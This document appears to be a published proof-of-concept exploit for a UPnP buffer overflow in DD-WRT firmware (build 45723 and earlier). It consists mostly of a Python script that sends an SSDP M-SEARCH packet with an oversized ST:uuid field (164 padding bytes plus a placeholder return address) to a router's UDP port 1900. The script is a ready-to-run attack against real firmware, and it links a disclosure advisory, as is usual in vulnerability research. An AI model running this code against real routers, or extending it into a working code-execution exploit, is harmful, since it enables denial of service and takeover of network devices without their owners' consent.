DD-WRT 45723 - UPNP Buffer Overflow (PoC)

# Exploit Title: DD-WRT 45723 - UPNP Buffer Overflow (PoC)
# Date: 24.03.2021
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://dd-wrt.com/
# Software Link: https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2021/
# Version: 45723 or prior
# Tested on: TP-Link Archer C7

# https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/

import socket

target_ip = "192.168.2.1" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet, (target_ip, 1900) )